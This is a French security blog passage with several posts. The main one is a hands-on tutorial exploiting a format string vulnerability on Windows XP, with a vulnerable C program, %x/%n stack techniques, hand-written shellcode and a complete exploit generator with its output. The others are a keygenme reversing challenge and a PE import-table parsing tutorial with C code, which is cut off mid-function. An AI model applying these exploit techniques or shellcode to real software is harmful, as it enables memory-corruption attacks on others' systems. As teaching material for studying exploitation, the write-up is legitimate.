lundi 10 août 2009

Format String on Windows

En vacances, on se fait tellement chier - par moments, hein - qu'on revoit des concepts qu'on pigeait pas y'a un an. C'est mon cas concernant les format strings.

Le but de cet article sera d'exploiter une vulnérabilité de type format string en C.

Pour nous mettre dans le bain, imaginez le code suivant :
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[] = "coucou";
printf("%s",buffer);
return 0;
}

(Désolé si y'a pas d'indentation, l'affichage généré sur le blog est un peu pourri).

Le programme ne fait absolument rien d'anormal. Il se contente d'afficher "coucou". Mais imaginons le cas suivant :
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[] = "coucou";
printf(buffer);
return 0;
}


Le programme affiche également coucou. Mais si nous pouvions contrôler les données inscrites dans le buffer ? On pourrait écrire n'importe quoi, comme des %x, %d etc etc... Et ça afficherait des nombres auxquels on ne s'attendrait pas, puisqu'il n'y a pas plus d'un argument dans la fonction printf.

Vous pigerez d'où vient l'erreur :

printf(buffer);


Je vous propose un code vulnérable qui va lire notre buffer à partir d'un fichier (pompé sur http://www.ghostsinthestack.org) :
#include <tdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(void) {
int fd, i;
char buffer[1024];

fd = open("texte.txt", O_RDONLY);
if (fd < 0) exit(0);
read(fd, buffer, 1024);
printf(buffer);
close(fd);
return 0;
}


Le programme va lire le flux dans texte.txt et l'afficher via printf() directement ; c'est-à-dire sans passer par "%s" pour afficher ce buffer.

Commençons par mettre un petit %x dans notre texte.txt et lançons le programme :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60


D'où vient cette valeur ? La réponse en image :


Comme le montre la pile, le %x correspond à la valeur juste en-dessous de "format", qui correspond, elle-même, à notre chaîne de caractères formatée. Si nous mettons donc "%x %x" dans texte.txt, on devrait parvenir à afficher le 400 juste en-dessous :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60 400


Tout se tient. C'est là que vous vous dites "mais en quoi c'est une faille ?". Eh bien, il existe une méthode de formatage distincte : %n. Cette directive est remplacée par le nombre de caractères affichés en dur avant elle-même et est écrite dans le pointeur fourni en argument adéquat. Cela se fait via l'instruction suivante :
77C12AC4 8908 MOV DWORD PTR DS:[EAX],ECX


Dit comme ça, ça doit pas forcément rentrer. Faisons un code pour expliquer le tout :
#include <stdio.h>

int main(int argc, char **argv) {
int n;
printf("foobar%n\n",&n);
printf("%d\n",n);
return 0;
}


Ce programme produit le résultat qui suit :
C:\Documents and Settings\Geoffrey\C\FormatString>example.exe
foobar
6


%n se contente donc d'enregistrer, dans un espace mémoire, le nombre de caractères affichés plus tôt.

Supposons que nous omettions le second argument de printf() dans notre exemple ci-dessus. Le %n écrirait alors à une autre adresse mémoire que nous ne contrôlons pas nécessairement. Le but de l'exploitation de la faille est de faire en sorte que %n écrive sur la sauvegarde d'EIP une adresse qui pointera sur notre shellcode.

Pour que %n écrive sur la sauvegarde d'EIP, il faut afficher suffisamment de %x avant (ou de %d, c'est à vous de voir) pour que %n corresponde à une valeur de plus en plus "profonde dans la pile". Cette valeur correspondra, tôt ou tard, à notre "buffer" puisqu'il est présent dans la pile. Comme si on retombait sur notre chaîne.

Allez, un exemple pour décrasser tout ça : mettez "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" dans texte.txt. Voici le résultat :

C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb604004012be00000001078257825782578257825782578257825782578257825782578257825
7825782578257825782578257825782578257825782578251a00187c931d64↑

Il y a une flêche qui pointe vers le haut qui est apparue. Ca signifie "Big up". Non, plus sérieusement, observez les 7825 en série. 0x78 et 0x25 - valeurs hexadécimales - correspondent, respectivement, à %x. On en déduit que nous parcourons la pile jusqu'à retomber sur notre chaîne. L'idée est de doser suffisamment de %x et de mettre, quelque part, des AAAA afin que le %n pointe sur ses AAAA même. Pour ma part, j'ai ça :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nAAAA

Rassurez-vous, les possibilités sont multiples. Les f ne veulent rien dire, j'aurais très bien pu mettre b ou w. Ils servent à faire en sorte que la chaîne dure soit assez longue afin que %n pointe sur les AAAA. Regardez donc par vous-même :

Tous les %x pointent sur eux-mêmes - on retombe sur notre chaîne - et %n sur 41414141. Il va donc falloir remplacer cette adresse par la sauvegarde d'EIP. Et %n pourra y écrire une adresse qui pointe sur un shellcode.

Lorsque nous traçons printf, la sauvegarde empilée est pointée à l'adresse 0022FB2C (chez moi, en tout cas) :

On remplacera donc AAAA par cette fameuse adresse qui sera dépilée dans EIP à la fin de la fonction printf (l'instruction ret s'en charge).

Le dernier problème : la longueur de la chaîne relative avant %n. Il faut qu'elle soit égale à l'adresse de notre shellcode. Supposons qu'on mette notre shellcode juste après le AAAA. Voici un shellcode qui affiche "Yop" à l'aide d'un simple printf :

char sh[] =
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";


N'oubliez pas de remplacer les adresse des APIs par les votres. Elles diffèrent selon les systèmes d'exploitation.
Pour connaître l'adresse d'une fonction dans une DLL :
arwin.exe.

En action :
C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x7c801d77 in kernel32.dll

C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cdea in kernel32.dll

C:\Documents and Settings\Geoffrey\Bureau>arwin msvcrt.dll printf
arwin - win32 address resolution program - by steve hanna - v.01
printf is located at 0x77c1186a in msvcrt.dll


Bien, maintenant qu'on a nos adresses, revenons à notre plan d'attaque :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n[pointeur sauvegarde eip][shellcode]

Il va donc falloir jouer sur la taille de la chaîne avant %n. On peut jouer sur un %x pour qu'il prenne plus de place ; par exemple, %2x. Cependant, en ajoutant le 2, on incrémente la chaîne d'un caractère, et décalage dans la pile... On enlève donc un f au début.

On va commencer par faire un programme qui va écrire notre buffer dans le fichier texte.txt :

#include <stdio.h>

int main() {
char buffer[] = "ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
"AAAA"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}


On exécute le code, puis on relance notre programme vulnérable avec un breakpoint sur la fonction printf() :

On voit bien les op-codes de notre shellcode en-dessous de 0x41414141. Le shellcode est donc adressé à 0x0022FBB4. La taille de la chaîne formatée doit donc être de 22FBB4 octets, soit, en décimal, 2292660 octets. Essayons donc avec :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292660x%nAAAA[shellcode]

J'ai dosé le nombre de f de sorte à obtenir : "Access violation when writing to [41414141], ... ...". On en profite pour regarder ECX, qui contient le nombre d'octets retourné par %n : "0022FC77". Ca n'est pas encore ça. De plus, le shellcode est désormais à 0x0022FBB8. Trouver le juste milieu n'est pas mince affaire.

Pour cela, on dose le nombre de f de sorte à provoquer une violation d'accès et voir la valeur d'ecx. Il faut qu'elle ait 0x0022FBB8, donc il faut doser sur le nombre décimal "2292660".

Après un petit acharnement, j'obtiens cette chaîne :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n

Voici donc mon exploit final :

#include <stdio.h>

int main() {
char buffer[] = "fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n"
//"AAAA"
"\x2C\xFB\x22\x00"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}


Résultat :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
fffffffffff22fb604004012be0000000106666666666666
666256666662578257825782578257825782578257825782
578257825782578257825782578257825782578257825782
578257825782578257825782578257825783232257837343
239
[...]
6e257830,¹"Yop


Tiens, pourquoi il dit "yop", ce con ? ;)
On a réussi à sauter sur notre shellcode. Vous n'êtes pas convaincus ? Invoquez une MessageBox(), ça serait plus amusant !


Conclusion


0vercl0k & moi sommes d'accord : les format strings, c'est chiant. Ici, on a vu une exploitation lors d'une injection par fichier. Effectivement, on a un null-byte dans notre chaîne. Je n'ai donc pas essayé avec une injection en ligne de commande si c'est pour coder un exploit, mais c'est tout autant possible.

Merci à pendule pour m'avoir supporté, et j'espère que cet article ait éclairé la lanterne de certains...

Liens : Url de support de l'article
http://doc.bughunter.net/format-string/exploit-fs.html, tutoriel anglais très détaillé.

Geo

dimanche 2 août 2009

[Challenge] KeygenMe

Salut, salut.
Je suis de retour de vacances, bronzé, et j'ai pu m'occuper entre temps de faire du reverse engineering sur un jeu datant des années 90. Je ne dévoilerai pas son nom (peut-être si on me le demande personnellement par mail/MSN/IRC, qui sait) par respect pour l'éditeur du jeu (bien connu, en plus).

Voici le but du challenge : faire un KeygenMe pour le programme disponible à l'adresse suivante : http://venom630.free.fr/geo/blog/keygenme/keygenme.exe

Bien évidemment, j'ai re-codé l'algorithme assembleur en C. De ce fait, le keygenme semble plus simple à analyser que le jeu lui-même.
Rassurez-vous : je n'ai pas eu affaire à des hooks, packings d'exécutables ou anti-débuggers : le jeu date des années 90, je vous le rappelle !

Je dévoilerai mon keygen pourri quand j'en aurai l'envie. Je ferai un article pour poster toutes les solutions proposées (& valides, s'il vous plaît).

Pour m'envoyer votre solution ? geo.669@gmail.com. Je prends bien évidemment des codes sources. Mais si vous avez - en plus - des fichiers projets & des exécutables, je suis preneur.

Merci aux peu de participants qui se jetteront dessus (si y'en a, car c'est ma plus grande crainte).

Geo

jeudi 23 juillet 2009

Demi-Reversing de l'IAT

Un post que j'ai fait sur Nibbles pour apporter ma modeste part.
Je le poste ici quand même - sans me soucier des éventuels soucis de formatage.
Source : http://nibbles.tuxfamily.org/?p=409


L'IAT - ou Import Address Table - est une section souvent présente dans les fichiers exécutables windows structurés par le format PE. Pour les connaisseurs, on peut la trouver sous le nom de ".idata" voire de ".rdata". Il existe des techniques de piratage de cette section, comme le hooking IAT (que je n'expliciterai malheureusement pas, n'ayant pas *encore* les connaissances requises pour).

Dans les fichiers exécutables, les sections sont des blocs de données regroupés par utilisation. On a généralement :

  • .text : la section "code" de notre fichier exécutable, où se retrouvent les instructions séquentielles qui seront exécutées par le processeur (du binaire pur, donc) ;

  • .data : la section qui contient, en vrac, des données au préalable initialisées (à notifier que, dans la section .code, l'algorithme généré par le compilateur va se démerder pour adresser ses données) ;

  • .bss : la section qui contient des données non-initialisées : généralement présente sous des octets nuls, l'algorithme présent dans la section .code va pouvoir y stocker des données ;

  • .idata : la section "importations", que nous allons étudier (sans déconner ?).


Nous allons, tout d'abord, définir ce qu'est la section importation (je dirai IAT par la suite), étudier son intérêt, pour enfin passer à un peu de pratique pour faire joujou avec (Demi-Reversing car on a des données théoriques, et parce qu'on va faire de la pratique).

J'oubliais de préciser : il faut connaître un minimum le format "PE" pour assurer une plus ou moins bonne compréhension de l'article.

"IAT" ? C'est quoi, ça ?!


Littéralement, Import Address Table. Cette section a sa fonction particulière : elle consiste à regrouper le nom des fonctions "dynamiques" - si je puis dire - présente dans les "DLL" - kernel32.dll, user32.dll... - afin de pouvoir les utiliser dans le programme. Par exemple, beaucoup de programmes auront besoin de la fonction ExitProcess(), programmée dans la bibliothèque "kernel32.dll". Il va donc falloir préciser dans l'IAT que l'on aura besoin de cette fameuse fonction.

Pourquoi ?

Parce que c'est la vie et tu la boucles les fonctions sont adressées différemment en fonction des systèmes d'exploitation, que ce soit Windows XP ou Windows Vista (32 bits, dans nos futurs exemples). Si les adresses étaient toutes les mêmes, on n'aurait pas besoin de préciser le nom des fonctions à importer. Leur adresse aurait suffit.

Qui va trouver les adresses, alors ?

Le "loader" de Windows, tout simplement. Lorsque ce "loader" va charger votre programme en mémoire, il va aller chercher les adresses des fonctions dont il a trouvé le nom, et va écrire ces adresses dans la section IAT. L'endroit de l'écriture est défini lui-même dans la section IAT. Tout est paramétré dedans. Nous allons l'étudier.

Structure de l'IAT


Pour la suite, nous allons nous servir d'un binaire basique qui ne fait qu'afficher "Hello". Vous pouvez l'obtenir à cette adresse : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/hello.exe

L'IAT commence toujours par des structures de type "IMAGE_IMPORT_DESCRIPTOR". Sa définition est la suivante :
#include 

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Énumérons, un à un, les membres de cette structure :

  • Characteristics / OriginalFirstThunk (DWORD, donc 4 octets) : il s'agit d'une adresse virtuelle relative - se référer à l'ImageBase dans l'en-tête PE pour récupérer l'adresse virtuelle absolue - indiquant un pointeur vers le tableau des fonctions à importer. Ces fonctions sont définies par la structure suivante :
    #include 

    typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD Hint;
    BYTE Name[1];
    } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

    Avec :
    - Hint (WORD : 2 octets) : le numéro identifiant de la fonction. Il n'est pas explicitement valide, et sert à titre indicatif pour le "loader" windows ;
    - Name (Byte : 1 octet) : le nom de la fonction. On ne se servira pas de ce membre de structure pour obtenir le nom de la fonction ; sa taille est inconnue, tant la chaîne de caractère se termine de toute évidence par un octet nul.

  • TimeDataStamp (DWORD : 4 octets) : indique la date de création du fichier. Ce membre ne contient pas forcément une valeur valide (0 dans plusieurs cas) ;

  • ForwarderChain (DWORD : 4 octets) : un champ qu'on voit souvent à 0. J'ai essayé de me renseigner sur Google, je n'ai vu que des "c'est un truc avancé, on en parlera après", alors qu'il n'en parlent jamais. De ce fait, on va oublier ce champ puisqu'il ne gênera pas pour la suite ;

  • Name (DWORD : 4 octets) : adresse virtuelle relative codée sur 4 octets et qui pointe sur une chaîne de caractère terminée par un octet nul. Cette chaîne correspond au nom de la DLL dont les fonctions proviennent ;

  • FirstThunk : à peu près pareil que OriginalFirstThunk. Je dis bien "à peu près", parce qu'il m'est plus fiable lors de la manipulation de l'IAT sur plusieurs exécutables différents.


On ne connait pas exactement le nombre de structures "IMAGE_IMPORT_DESCRIPTOR". On sait juste que la dernière structure contient tout ses membres non-initialisés (donc = 0).

Grâce au membre OriginalFirstThunk, on va pouvoir pointer sur un lot d'adresses virtuelles relatives qui correspondent à des pointeurs sur des structures "IMAGE_IMPORT_BY_NAME". On ne connait pas le nombre exact de structures présentes ; il faut simplement s'arrêter jusqu'à ce qu'on tombe sur une adresse virtuelle relative égale à 0. Grâce à ça, on va pouvoir connaître les fonctions importées de la DLL. Le champ FirstThunk - le dernier de la structure - quant à lui, lorsque le programme est chargé en mémoire, pointe sur un lot d'adresses virtuelles qui correspondent aux adresses mémoires des fonctions. Ce sont ses adresses qui seront appelées par le programme dans la section .text (ou CODE pour les programmes compilés avec un environnement Borland).

Prenons notre "désassembleur" favori : ollydbg. Ouvrons notre exécutable "hello.exe", faisons Alt + M (ou View > Memory) et cliquons sur. Vous avez ça :

[caption id="" align="aligncenter" width="444" caption="OllyDbg : visualisation de l'IAT"]OllyDbg visualisation IAT[/caption]

J'ai tracé, en rouge, le chemin engendré par les pointeurs pour arriver au nom de la première fonction importée par le programme. Notez bien que les adresses mémoires sont écrites à l'envers, car c'est comme ça que sont représentés les entiers en dur dans la mémoire. On a donc, en fin de trajet, le "Hint" de la fonction ainsi que son nom, encadrés en bleus. En vert, j'ai tracé le chemin pour mettre en évidence le pointage vers la DLL Kernel32.dll.

Voyons maintenant vers quoi pointe FirstThunk au lieu de OriginalFirstThunk :

[caption id="attachment_413" align="aligncenter" width="444" caption="OllyDbg : visualisation de l'IAT"]OllyDbg : visualisation de l'IAT[/caption]

Ce champ pointe vers les adresses mémoires des fonctions. Pour être sûr de ce que j'avance, je vais utiliser arwin pour vérifier que la fonction AddAtom() ait bien l'adresse 0x7C835535. Vous pouvez télécharger l'utilitaire ici : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/arwin.exe ; en voici son code source :
#include 
#include

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
vividmachines.com
shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;

printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s
\n",argv[0]);
exit(-1);
}

hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

On l'exécute, et voici ce qu'on a en retour :
C:\Program Files\Slayers Online2>arwin.exe kernel32.dll AddAtomA
arwin - win32 address resolution program - by steve hanna - v.01
AddAtomA is located at 0x7c835535 in kernel32.dll

On en déduit que le loader a bien placé l'adresse des fonctions dans la table d'importations.

Un peu de prog ?


Depuis quelques temps, je bosse sur une bibliothèque pour me permettre d'analyser et manipuler le format PE de sorte à mieux le cerner. Je vais vous communiquer trois sources : main.c (prog principal), pe.h (définitions de fonctions) et pe.c (les fonctions).

main.c :
#include 
#include
#include
#include "pe.h"

int main(int argc, char **argv)
{
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}
PortableExecutable MyPe;
MyPe.fp = fopen(argv[1],"rb");
if(!MyPe.fp) {
printf("Erreur lors de l'ouverture de %s : abandon.\n", argv[1]);
exit(EXIT_FAILURE);
}
PE_Init(&MyPe,argv[1]);
Pe_ShowFunctionsUsed(MyPe);
PE_Destroy(&MyPe);
return 0;
}

pe.h :
#ifndef PE_H
#define PE_H

#include

typedef struct {
FILE *fp; // Pointeur vers le fichier exécutable
IMAGE_DOS_HEADER ImageDosHeader; // structure 'MZ'
IMAGE_FILE_HEADER ImageFileHeader; // structure 'Pe'
IMAGE_OPTIONAL_HEADER ImageOptionalHeader; // Structure de l'en-tête optionelle
PIMAGE_SECTION_HEADER ImagesSectionHeader; // Pointeur sur les structures d'en-têtes de sections
} PortableExecutable;

// Constructeur & Destructeur
int PE_Init(PortableExecutable *Pe, char *filename);
VOID PE_Destroy(PortableExecutable *MyPe);

// Osef pour le moment
int PE_Create(char *filename);

// Requisition de données
DWORD Pe_GetOffsetIat(PortableExecutable Pe);
DWORD Pe_GetVirtualAddressOfIat(PortableExecutable Pe);
DWORD Pe_GetOffsetFromSection(PortableExecutable Pe, char *name);

// Fonctions d'affichage
VOID PE_DmpSectionHeaders(PortableExecutable MyPe);
VOID Pe_ShowDllsImported(PortableExecutable Pe);
VOID Pe_ShowFunctionsUsed(PortableExecutable Pe);
VOID Pe_ShowImageImportDescriptors(PortableExecutable Pe);

#endif

pe.c :
#include 
#include
#include "pe.h"

/* Cette fonction permet d'initialiser
* notre structure PortableExecutable ;
* elle va lire les en-tête dans les
* différentes structures.
* @param *MyPe (PortableExecutable) : structure PortableExecutable
* @param *filename (char*) : chaîne de caractères correspondant au
* fichier exécutable à ouvrir en lecture binaire.
*/
int PE_Init(PortableExecutable *MyPe, char *filename)
{
MyPe->fp = fopen(filename,"rb");
if(!MyPe->fp) {
printf("Erreur lors de l'ouverture de %s : abandon.\n", filename);
return -1;
}

DWORD MagicWord;

// Lecture de l'en-tête DOS
fread(&MyPe->ImageDosHeader, sizeof(IMAGE_DOS_HEADER), 1, MyPe->fp);

// Déplacement jusqu'à l'en-tête PE
fseek(MyPe->fp, MyPe->ImageDosHeader.e_lfanew, SEEK_SET);

// Lecture du mot magique
fread(&MagicWord, sizeof(DWORD), 1, MyPe->fp);

// Lecture de l'en-tête PE
fread(&MyPe->ImageFileHeader, sizeof(IMAGE_FILE_HEADER), 1, MyPe->fp);

// Est-ce bien un PE ?
if(MagicWord != IMAGE_NT_SIGNATURE) {
return -2;
}

// L'en-tête optionnelle existe ?
if(MyPe->ImageFileHeader.SizeOfOptionalHeader != 0) {
// On la lit
fread(&MyPe->ImageOptionalHeader, sizeof(IMAGE_OPTIONAL_HEADER), 1, MyPe->fp);
}

// On va lire toutes les sections
MyPe->ImagesSectionHeader =
(PIMAGE_SECTION_HEADER)malloc(MyPe->ImageFileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER));
int i;
for(i = 0; i ImageFileHeader.NumberOfSections; i++)
fread(&MyPe->ImagesSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, MyPe->fp);
return 1;
}

/*
* Cette fonction affiche les en-têtes de chaque section.
* @param MyPe (PortableExecutable) : structure PortableExecutable
*/
VOID PE_DmpSectionHeaders(PortableExecutable MyPe) {
int i;
// +4 "PE#0#0"
fseek(MyPe.fp, 4 + MyPe.ImageDosHeader.e_lfanew + sizeof(MyPe.ImageFileHeader)
+ MyPe.ImageFileHeader.SizeOfOptionalHeader, SEEK_SET);
for(i = 0; i ImagesSectionHeader);
}

/*
* Cette fonction retourne l'offset - en dur dans le fichier -
* d'une section dont on connait le nom.
* @param MyPe (PortableExecutable) : structure PortableExecutable.
* @param *name (char*) : nom de la section
*/
DWORD Pe_GetOffsetFromSection(PortableExecutable MyPe, char *name) {
int i = 0;
while(strcmp(MyPe.ImagesSectionHeader[i++].Name, name) &&
i < MyPe.ImageFileHeader.NumberOfSections);
return --i < MyPe.ImageFileHeader.NumberOfSections ?
MyPe.ImagesSectionHeader[i].PointerToRawData : 0;
}

/*
* Cette fonction affiche les dll importées par l'exécutable
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowDllsImported(PortableExecutable Pe) {
if(!Pe.ImageOptionalHeader.NumberOfRvaAndSizes) {
printf("Aucune section IAT dans le programme.\n");
} else {
DWORD OffsetIat = Pe_GetOffsetIat(Pe);
DWORD VirtualAddressIat = Pe_GetVirtualAddressOfIat(Pe);
// Compteur de descripteurs d'images d'importation
int cpt = 0;

// Nom courant de la DLL
char dllname[255];

// Variable qui représente notre descripteur d'image d'importation
IMAGE_IMPORT_DESCRIPTOR CurrentImage;

// On se déplace au début de l'IAT
fseek(Pe.fp, OffsetIat, SEEK_SET);

// Lecture de l'image
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);

// On boucle jusqu'à lire un IMAGE_IMPORT_DESCRIPTOR complètement mis
// à 0
while(CurrentImage.Characteristics != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {

// On va se déplacer à l'offset du nom de la DLL
// CurrentImage.Name contient, en effet, l'adresse
// virtuelle et relative de la chaîne - terminée par
// null-byte - du nom de la DLL
fseek(Pe.fp, (CurrentImage.Name - VirtualAddressIat)
+ OffsetIat, SEEK_SET);
fread(dllname, sizeof(char), 254, Pe.fp);
printf("%s ;\n", dllname);

// On se déplace à l'image suivante
fseek(Pe.fp, OffsetIat
+ (++cpt*sizeof(IMAGE_IMPORT_DESCRIPTOR)), SEEK_SET);
// On la lit
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}
}

/*
* Cette fonction affiche les fonctions importées par le prog (peut bugger...)
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowFunctionsUsed(PortableExecutable Pe) {
if(!Pe.ImageOptionalHeader.NumberOfRvaAndSizes) {
printf("Aucune section IAT dans le programme.\n");
} else {
DWORD VirtualAddressOfIat = Pe_GetVirtualAddressOfIat(Pe);
DWORD OffsetOfIat = Pe_GetOffsetIat(Pe);

int n = 0;
// On se déplace dans l'IAT
fseek(Pe.fp, OffsetOfIat, SEEK_SET);

// On lit chaque IMAGE_IMPORT_DESCRIPTOR jusqu'à en trouver une
// donc chaque champ est mis à 0
IMAGE_IMPORT_DESCRIPTOR CurrentImage;

// La structure représentant le Hint & le
// nom de la fonction
IMAGE_IMPORT_BY_NAME CurrentFunction;

// L'adresse virtuelle relative des IMAGE_IMPORT_BY_NAME
DWORD RelativeVirtualAddress;

// La variable qui contiendra l'offset en fonction de la RVA
DWORD Offset;

// chaines qui contiendront le nom de la dll et le nom de la fonction
char dllname[255], funcname[255];

fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
int cpt = 0;
while(CurrentImage.OriginalFirstThunk != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {

fseek(Pe.fp, (CurrentImage.Name - VirtualAddressOfIat)
+ OffsetOfIat, SEEK_SET);
fread(dllname, sizeof(char), 254, Pe.fp);
printf("[*] %s :\n", dllname);

// On se déplace à "OriginalFirstThunk"
Offset = OffsetOfIat + (CurrentImage.FirstThunk - VirtualAddressOfIat);
fseek(Pe.fp, Offset, SEEK_SET);

// On lit l'offset de la première IMAGE_IMPORT_BY_NAME
fread(&RelativeVirtualAddress, sizeof(DWORD), 1, Pe.fp);

while(RelativeVirtualAddress != 0) {
